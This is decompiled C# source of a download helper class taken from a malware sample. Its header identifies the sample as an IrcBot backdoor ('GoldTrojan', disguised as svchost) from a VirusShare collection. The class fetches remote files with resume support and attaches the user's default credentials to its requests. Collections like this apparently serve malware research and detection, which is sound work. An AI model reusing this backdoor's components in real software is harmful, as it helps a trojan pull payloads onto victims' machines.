// Decompiled with JetBrains decompiler
// Type: GoldTrojan.DownloadData
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe

using System;
using System.IO;
using System.Net;

namespace GoldTrojan
{
  internal class DownloadData
  {
    private WebResponse response;
    private Stream stream;
    private long size;
    private long start;
    private IWebProxy proxy;

    public static DownloadData Create(string url, string destFolder) => DownloadData.Create(url, destFolder, (IWebProxy) null);

    public static DownloadData Create(string url, string destFolder, IWebProxy proxy)
    {
      DownloadData downloadData = new DownloadData();
      downloadData.proxy = proxy;
      long fileSize = downloadData.GetFileSize(url);
      downloadData.size = fileSize;
      WebRequest request1 = downloadData.GetRequest(url);
      try
      {
        downloadData.response = request1.GetResponse();
      }
      catch (Exception ex)
      {
        throw new ArgumentException(string.Format("Error downloading \"{0}\": {1}", (object) url, (object) ex.Message), ex);
      }
      DownloadData.ValidateResponse(downloadData.response, url);
      string fileName = Path.GetFileName(downloadData.response.ResponseUri.ToString());
      string str = Path.Combine(destFolder, fileName);
      if (!downloadData.IsProgressKnown && System.IO.File.Exists(str))
        System.IO.File.Delete(str);
      if (downloadData.IsProgressKnown && System.IO.File.Exists(str))
      {
        if (!(downloadData.Response is HttpWebResponse))
        {
          System.IO.File.Delete(str);
        }
        else
        {
          downloadData.start = new FileInfo(str).Length;
          if (downloadData.start > fileSize)
            System.IO.File.Delete(str);
          else if (downloadData.start < fileSize)
          {
            downloadData.response.Close();
            WebRequest request2 = downloadData.GetRequest(url);
            ((HttpWebRequest) request2).AddRange((int) downloadData.start);
            downloadData.response = request2.GetResponse();
            if (((HttpWebResponse) downloadData.Response).StatusCode != HttpStatusCode.PartialContent)
            {
              System.IO.File.Delete(str);
              downloadData.start = 0L;
            }
          }
        }
      }
      return downloadData;
    }

    private DownloadData()
    {
    }

    private DownloadData(WebResponse response, long size, long start)
    {
      this.response = response;
      this.size = size;
      this.start = start;
      this.stream = (Stream) null;
    }

    private static void ValidateResponse(WebResponse response, string url)
    {
      switch (response)
      {
        case HttpWebResponse _:
          HttpWebResponse httpWebResponse = (HttpWebResponse) response;
          if (!httpWebResponse.ContentType.Contains("text/html") && httpWebResponse.StatusCode != HttpStatusCode.NotFound)
            break;
          throw new ArgumentException(string.Format("Could not download \"{0}\" - a web page was returned from the web server.", (object) url));
        case FtpWebResponse _:
          if (((FtpWebResponse) response).StatusCode != FtpStatusCode.ConnectionClosed)
            break;
          throw new ArgumentException(string.Format("Could not download \"{0}\" - FTP server closed the connection.", (object) url));
      }
    }

    private long GetFileSize(string url)
    {
      WebResponse webResponse = (WebResponse) null;
      try
      {
        webResponse = this.GetRequest(url).GetResponse();
        return webResponse.ContentLength;
      }
      finally
      {
        webResponse?.Close();
      }
    }

    private WebRequest GetRequest(string url)
    {
      WebRequest request = WebRequest.Create(url);
      if (request is HttpWebRequest)
      {
        request.Credentials = CredentialCache.DefaultCredentials;
        request.Proxy.GetProxy(new Uri("http://www.google.com"));
      }
      if (this.proxy != null)
        request.Proxy = this.proxy;
      return request;
    }

    public void Close() => this.response.Close();

    public WebResponse Response
    {
      get => this.response;
      set => this.response = value;
    }

    public Stream DownloadStream
    {
      get
      {
        if (this.start == this.size)
          return Stream.Null;
        if (this.stream == null)
          this.stream = this.response.GetResponseStream();
        return this.stream;
      }
    }

    public long FileSize => this.size;

    public long StartPoint => this.start;

    public bool IsProgressKnown => this.size > -1L;
  }
}
